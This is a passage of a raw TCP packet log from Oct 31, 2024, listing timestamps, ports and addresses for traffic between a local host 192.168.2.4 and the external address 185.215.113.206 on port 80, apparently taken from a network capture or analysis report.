Oct 31, 2024 23:38:24.211807013 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.211807966 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.211824894 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.211842060 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211858034 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211874008 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211896896 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211903095 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.211931944 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212086916 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212102890 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212117910 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212131977 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212136984 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212148905 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212165117 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212172031 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212197065 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212207079 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212238073 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212253094 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212266922 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212282896 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212301016 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212308884 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212317944 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212333918 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212338924 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212353945 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212357998 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212373972 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212376118 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212402105 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212413073 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212790966 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212805986 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212821960 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212841988 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212866068 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.212923050 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212939978 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212954998 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.212977886 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213001966 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213212013 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213227034 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213243008 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213264942 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213288069 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213591099 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213607073 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213622093 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213639021 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213654041 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213671923 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213699102 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213918924 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213936090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213949919 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.213970900 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.213990927 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.214971066 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.214984894 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.214998960 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215018034 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215049982 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215051889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215069056 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215084076 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215094090 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215101004 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215116978 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215131998 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215138912 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215516090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215531111 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215545893 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215559006 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215562105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215579033 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215593100 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215594053 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215610027 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215614080 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215629101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215630054 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215645075 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215653896 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215662003 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215668917 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215686083 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215713978 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215728998 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215728998 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215738058 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215753078 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215770006 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215775967 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215785027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215801001 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.215804100 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215821028 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.215847969 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216330051 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216345072 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216360092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216377020 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216384888 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216397047 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216399908 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216417074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216428041 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216432095 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216440916 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216465950 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.216505051 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216519117 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.216557980 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217112064 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217125893 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217142105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217155933 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217155933 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217174053 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217175961 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217190027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217200994 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217207909 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217222929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217237949 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217237949 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217253923 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217263937 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217271090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217279911 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217287064 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217304945 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217329025 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.217895031 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217910051 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217926979 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.217976093 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.218014956 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218029976 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218045950 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218055964 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.218061924 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218077898 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218082905 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.218094110 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.218110085 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.218135118 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.364968061 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.364989042 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365014076 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365017891 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365032911 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365040064 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365056992 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365084887 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365094900 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365119934 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365134954 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365135908 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365151882 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365175962 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365204096 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365710020 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365725994 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365741968 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365789890 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365796089 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365807056 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365823030 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365840912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365847111 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365865946 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365890026 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.365938902 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365955114 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365968943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365983009 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.365998030 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366008043 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366014004 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366030931 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366034031 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366046906 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366049051 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366072893 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366076946 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366091013 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366092920 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366108894 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366123915 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366139889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366147995 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366156101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366175890 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366180897 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366194963 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366197109 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366213083 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366219997 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366230011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366239071 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366256952 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366265059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366269112 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366291046 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366307020 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366322041 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366322041 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366337061 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366338968 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366352081 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366364956 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366375923 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366471052 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366523027 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366568089 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366583109 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366605997 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366614103 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366621017 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366631985 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366636992 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366652966 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366661072 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366669893 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366683006 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366686106 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366702080 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366708994 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366724014 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366736889 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366746902 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366761923 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366776943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366791964 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366799116 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366807938 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366823912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366826057 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366839886 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.366846085 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.366882086 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367022991 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367038012 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367052078 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367063999 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367075920 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367090940 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367091894 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367110968 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367113113 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367134094 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367137909 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367151022 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367153883 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367170095 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367172003 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367187023 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367187977 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367206097 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367207050 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367222071 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367238045 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367240906 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367274046 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367275000 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367294073 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367317915 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367321968 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367337942 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367366076 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367418051 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367433071 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367446899 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367454052 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367464066 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367480040 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367506027 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367507935 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367525101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367538929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367546082 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367554903 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367562056 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367578983 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367604971 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367748976 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367822886 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367837906 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367852926 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367870092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367877960 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367892981 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367913008 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.367929935 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367953062 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367969990 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.367995024 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368000031 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368016958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368032932 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368032932 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368058920 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368083954 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368155956 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368170977 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368186951 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368200064 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368202925 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368216038 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368228912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368231058 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368246078 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368246078 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368263006 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368280888 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368283033 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368297100 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368307114 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368314028 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368334055 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368357897 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368602037 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368624926 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368642092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368650913 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368664980 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368673086 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368685007 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368689060 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368706942 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368712902 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368726015 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368730068 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368745089 CET	80	49876	185.215.113.206	192.168.2.4
